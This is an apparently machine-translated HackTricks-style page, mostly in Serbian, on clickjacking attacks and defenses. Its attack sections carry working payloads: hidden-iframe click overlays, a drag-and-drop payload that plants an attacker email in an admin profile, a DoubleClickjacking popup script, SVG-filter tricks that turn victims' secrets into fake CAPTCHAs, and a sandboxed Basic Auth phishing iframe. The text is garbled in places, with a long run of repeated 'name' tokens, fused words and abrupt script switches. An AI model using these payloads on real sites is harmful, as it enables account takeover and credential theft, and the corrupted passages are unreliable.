Clickjacking
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Šta je Clickjacking
U Clickjacking napadu, korisnik je prevaren da klikne na element na web stranici koji je ili nevidljiv ili maskiran kao neki drugi element. Ova manipulacija može dovesti do neželjenih posledica za korisnika, kao što su preuzimanje malware-a, preusmeravanje na zlonamerne web stranice, otkrivanje credentials ili osetljivih informacija, transfer novca ili online kupovina proizvoda.
Trik prepopunjavanja formi
Ponekad je moguće popuniti vrednosti polja forme koristeći GET parameters prilikom učitavanja stranice. Napadač može zloupotrebiti ovo ponašanje da popuni formu proizvoljnim podacima i pošalje clickjacking payload tako da korisnik pritisne dugme Submit.
Popunjavanje forme pomoću Drag&Drop
Ako želite da korisnik popuni formu, ali ne želite direktno da ga tražite da unese neke specifične informacije (kao što su email i/ili specifična lozinka koju znate), možete ga jednostavno zamoliti da Drag&Drop nešto što će uneti podatke koje kontrolišete, kao u ovaj primer.
Osnovni Payload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Višestepeni Payload
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Click payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
If you have identified an XSS attack that requires a user to click on some element to trigger the XSS and the page is vulnerable to clickjacking, you could abuse it to trick the user into clicking the button/link.
Example:
You found a self XSS in some private details of the account (details that only you can set and read). The page with the form to set these details is vulnerable to Clickjacking and you can prepopulate the form with the GET parameters.
An attacker could prepare a Clickjacking attack to that page prepopulating the form with the XSS payload and tricking the user into Submit the form. So, when the form is submitted and the values are modified, the user will execute the XSS.
DoubleClickjacking
Firstly explained in this post, this technique would ask the victim to double click on a button of a custom page placed in a specific location, and use the timing differences between mousedown and onclick events to load the victim page duing the double click so the victim actually clicks a legit button in the victim page.
An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18
A code example can be found in this page.
Warning
Ova tehnika omogućava da se korisnik prevari da klikne na jedno mesto na stranici žrtve, zaobilazeći svaku zaštitu protiv clickjacking. Zato napadač treba da pronađe osetljive akcije koje se mogu izvršiti jednim klikom, kao što su OAuth prompti za prihvatanje dozvola.
Popup-based DoubleClickjacking (no iframes)
Some PoCs abandon iframes entirely and keep a background popup aligned under the cursor. The attacker page tracks mousemove and uses a small popup (window.open) that is moved with moveTo() while it is same-origin; once aligned, it is redirected back to the target origin so the next click lands on the real button. Because cross‑origin moveTo() is blocked, the popup is briefly navigated to an attacker origin for repositioning, then location/history.back() returns to the target. To surface the target at click time, the attacker can re‑open the popup with the same window name to bring it to the foreground without changing the URL.
<script>
let w;
onclick = () => {
if (!w) w = window.open('/shim', 'pj', 'width=360,height=240');
onmousemove = e => { try { w.moveTo(e.screenX, e.screenY); } catch {} };
// When ready, refocus the already-loaded popup
window.open('', 'pj');
};
</script>
SVG Filters / Cross-Origin Iframe UI Redressing
Moderne Chromium/WebKit/Gecko verzije dozvoljavaju da se CSS filter:url(#id) primeni na cross-origin iframes. Rasterizovani pikseli iframe-a izloženi su SVG filter grafu kao SourceGraphic, pa primitive kao što su feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology, itd. mogu proizvoljno izobličiti UI žrtve pre nego što ga korisnik vidi, iako napadač nikada ne dira DOM. Jednostavan Liquid-Glass stil filtera izgleda ovako:
<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
- Korisne primitive:
feImageučitava napadačeve bitmap-e (e.g., overlays, displacement maps);feFloodpravi maske konstantne boje;feOffset/feGaussianBlurdoteruju istaknute delove;feDisplacementMaplomi/izobličava tekst;feComposite operator="arithmetic"implementira proizvoljne po-kanalne matematičke operacije (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), što je dovoljno za pojačavanje kontrasta, maskiranje i AND/OR operacije;feTileseče i replicira pikselske probe;feMorphologyuvećava/smanjuje poteze;feColorMatrixpremešta lumu u alfa da bi se napravile precizne maske.
Izobličavanje tajni u CAPTCHA-style promptove
Ako endpoint koji se može učitati u frame prikazuje tajne (tokens, reset codes, API keys), napadač ih može izobličiti tako da podsećaju na CAPTCHA i prisiliti ručnu transkripciju:
<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>
Iskrivljeni pikseli zavaravaju korisnika da „reši“ captcha unutar attacker-controlled <input> kojim upravlja napadač, čiji pattern name name name name name name name name name name name name name name name name name name name name name name name name name name name name name nametne stvarni tajni podatak žrtve.
Rekontekstualizacija unosa žrtve
Filteri mogu hirurški ukloniti placeholder/validation tekst, a da pri tom sačuvaju korisničke kucaje. Jedan tok rada:
feComposite operator="arithmetic" k2≈4pojačava osvetljenost tako da sivi pomoćni tekst zasiti u belo.feTileograničava radnu oblast na pravougaonik input-a.feMorphology operator="erode"zadebljava tamne glife koje unosi žrtva i skladišti ih prekoresult="thick".feFloodstvara belu podlogu,feBlend mode="difference"sathick, a drugifeComposite k2≈100pretvara to u oštar luma matte.feColorMatrixpremesti tu lumu u alfa-kanal, afeComposite in="SourceGraphic" operator="in"zadržava samo glife koje je uneo korisnik.- Još jedan
feBlend in2="white"plus tanak crop daje čist textbox, nakon čega napadač preklapa sopstvene HTML labele (npr. „Unesite svoju e-poštu“) dok skriveni iframe i dalje nameće password policy origin-a žrtve.
Safari ima problema sa feTile; isti efekat se može reproducirati prostornim matovima napravljenim od feFlood + feColorMatrix + feComposite za WebKit-only payloads.
Piksel probe, logika i mašine stanja
Krojenjem regiona od 2–4 px pomoću feTile i postavljanjem pločica na 100% viewport-a, napadač pretvara uzorkovanu boju u teksturu pune sličice koja se može pragovati u boolean masku:
<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>
For arbitrary colors, a feFlood reference (e.g., #0B57D0) plus feBlend mode="difference" and another arithmetic composite (k2≈100, k4 as tolerance) outputs white only when the sampled pixel matches the target shade. Feeding these masks into feComposite with tuned k1..k4 yields logic gates: AND via k1=1, OR via k2=k3=1, XOR via feBlend mode="difference", NOT via blending against white. Chaining gates makes a full adder inside the filter graph, proving the pipeline is functionally complete.
Napadači mogu stoga da čitaju stanje UI bez JavaScript-a. Primeri boolean vrednosti iz modalnog toka rada:
- D (dialog visible): ispitajte zamračeni ugao i uporedite sa belom.
- L (dialog loaded): ispitajte koordinate na kojima se dugme pojavljuje kada je spremno.
- C (checkbox checked): uporedite piksel checkbox-a sa aktivnom plavom
#0B57D0. - R (red success/failure banner): koristite
feMorphologyi crvene pragove unutar pravougaonika bannera.
Svako otkriveno stanje upravlja različitim overlay bitmapom ugrađenim preko feImage xlink:href="data:...". Maskiranje tih bitmapa sa D, L, C, R održava overlay-e sinhronizovanim sa stvarnim dijalogom i vodi žrtvu kroz višestepene tokove rada (resetovanje lozinke, odobrenja, destruktivne potvrde) bez ikada izlaganja DOM-a.
Sandboxovan iframe Basic Auth dijalog (bez allow-popups)
Sandboxovan iframe bez allow-popups i dalje može da prikaže browser-kontrolisani HTTP Basic Authentication modal kada zahtev vrati 401 sa WWW-Authenticate. Dijalog pokreće browserski networking/auth sloj (ne JS alert/prompt/confirm), tako da ograničenja popup-a u sandboxu ne sprečavaju njegovo pojavljivanje. Ako možete da skriptujete iframe (npr. sandbox="allow-scripts"), možete ga navigirati na bilo koji endpoint koji izdaje Basic Auth challenge:
<iframe id="basic" sandbox="allow-scripts"></iframe>
<script>
basic.src = "https://httpbin.org/basic-auth/user/pass"
</script>
Kada stigne odgovor, browser zatraži kredencijale iako su popups onemogućeni. Framing pouzdanog origin-a ovom tehnikom omogućava UI redress/phishing: neočekivani modalni prompti unutar “sandboxed” widgeta mogu zbuniti korisnike ili navesti password managers da ponude sačuvane kredencijale.
Ekstenzije browsera: DOM-based autofill clickjacking
Osim iframovanja victim stranica, napadači mogu ciljati browser extension UI elemente koji se injektuju u stranicu. Password managers renderuju autofill dropdownove pored fokusiranih input polja; fokusiranjem polja kojim napadač upravlja i sakrivanjem/okludiranjem extension-ovog dropdowna (opacity/overlay/top-layer tricks), prisilni klik korisnika može izabrati sačuvan unos i popuniti osetljive podatke u input polja pod kontrolom napadača. Ova varijanta ne zahteva izlaganje kroz iframe i funkcioniše potpuno preko DOM/CSS manipulacije.
A real-world case: Dashlane disclosed a passkey dialog clickjacking issue (Aug 2025) where XSS on the relying-party domain allowed an attacker to overlay HTML over the extension’s passkey dialog. A click on the attacker’s element would proceed with the legitimate passkey login (the passkey itself isn’t exposed), effectively turning a UI-redress into account access if the RP is already vulnerable to script injection.
- For concrete techniques and PoCs see: BrowExt - ClickJacking
Strategije za ublažavanje Clickjacking
Odbrane na strani klijenta
Skripte koje se izvršavaju na klijent strani mogu preduzeti mere da spreče Clickjacking:
- Uveravanje da je prozor aplikacije glavni ili top window.
- Obezbeđivanje vidljivosti svih okvira.
- Sprečavanje klikova na nevidljive frameove.
- Detektovanje i obaveštavanje korisnika o potencijalnim Clickjacking pokušajima.
Međutim, ovi frame-busting scriptovi mogu biti zaobiđeni:
- Browsers’ Security Settings: Neki browseri mogu blokirati ove skripte na osnovu svojih bezbednosnih podešavanja ili zbog nedostatka podrške za JavaScript.
- HTML5 iframe
sandboxAttribute: An attacker can neutralize frame buster scripts by setting thesandboxattribute withallow-formsorallow-scriptsvalues withoutallow-top-navigation. This prevents the iframe from verifying if it is the top window, e.g.
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
The allow-forms и allow-scripts вредности омогућавају акције унутар iframe-а док онемогућавају навигацију на нивоу врха странице. Да би се обезбедила намеравана функционалност циљане странице, додатне дозволе као што су allow-same-origin и allow-modals могу бити потребне, у зависности од типа напада. Поруке у конзоли прегледача могу указати које дозволе треба додати.
Одбрана на серверској страни
X-Frame-Options
The X-Frame-Options HTTP response header обавештава прегледаче о легитимности приказивања странице у <frame> или <iframe>, помажући у спречавању Clickjacking-а:
X-Frame-Options: deny- Ниједан домен не може да убаци садржај у фрејм.X-Frame-Options: sameorigin- Само тренутни сајт може да убаци садржај у фрејм.X-Frame-Options: allow-from https://trusted.com- Само назначени ‘uri’ може да убаци страницу у фрејм.- Напомена о ограничењима: ако прегледач не подржава ову директиву, она можда неће радити. Неки прегледачи преферирају CSP frame-ancestors директиву.
Content Security Policy (CSP) frame-ancestors directive
frame-ancestors директива у CSP је препоручени метод за заштиту од Clickjacking-а:
frame-ancestors 'none'- СличноX-Frame-Options: deny.frame-ancestors 'self'- СличноX-Frame-Options: sameorigin.frame-ancestors trusted.com- СличноX-Frame-Options: allow-from.
На пример, следећи CSP дозвољава фрејмовање само са истог домена:
Content-Security-Policy: frame-ancestors 'self';
Детаљније информације и сложени примерима могу се наћи у frame-ancestors CSP documentation и Mozilla’s CSP frame-ancestors documentation.
Content Security Policy (CSP) са child-src и frame-src
Content Security Policy (CSP) је мера безбедности која помаже у спречавању Clickjacking-а и других напада инјекцијом кода тако што одређује које изворе прегледач сме да користи за учитавање садржаја.
frame-src директива
- Одређује важеће изворе за фрејмове.
- Специфичније је од
default-srcдирективе.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Ova politika dozvoljava frame-ove iz istog porekla (self) i https://trusted-website.com.
child-src Direktiva
- Uvedena u CSP level 2 za definisanje važećih izvora za web workere i frame-ove.
- Deluje kao fallback za frame-src i worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Ova politika dozvoljava frames i workers sa iste origin (self) i https://trusted-website.com.
Napomene o upotrebi:
- Zastarjevanje: child-src se postepeno ukida u korist frame-src i worker-src.
- Fallback ponašanje: Ako frame-src nije prisutan, child-src se koristi kao rezervna opcija za frames. Ako oba nisu prisutna, koristi se default-src.
- Stroga definicija izvora: Uključite samo pouzdane izvore u direktive kako biste sprečili zloupotrebu.
JavaScript Frame-Breaking Scripts
Iako nisu potpuno nepogrešive, JavaScript-based frame-busting scripts se mogu koristiti za sprečavanje da se web stranica prikaže unutar frame. Primer:
if (top !== self) {
top.location = self.location
}
Korišćenje Anti-CSRF tokena
- Validacija tokena: Koristite anti-CSRF tokene u web aplikacijama kako biste osigurali da su zahtevi koji menjaju stanje izvršeni namerno od strane korisnika, a ne putem Clickjacked stranice.
References
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
- DOM-based Extension Clickjacking (marektoth.com)
- SVG Filters - Clickjacking 2.0
- Iframe sandbox Basic Auth modal
- Chromestatus: Restrict sandboxed frame dialogs
- Chromium issue about sandboxed auth dialogs
- DoubleClickjacking PoC details (evil.blog)
- Dashlane passkey dialog clickjacking advisory
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


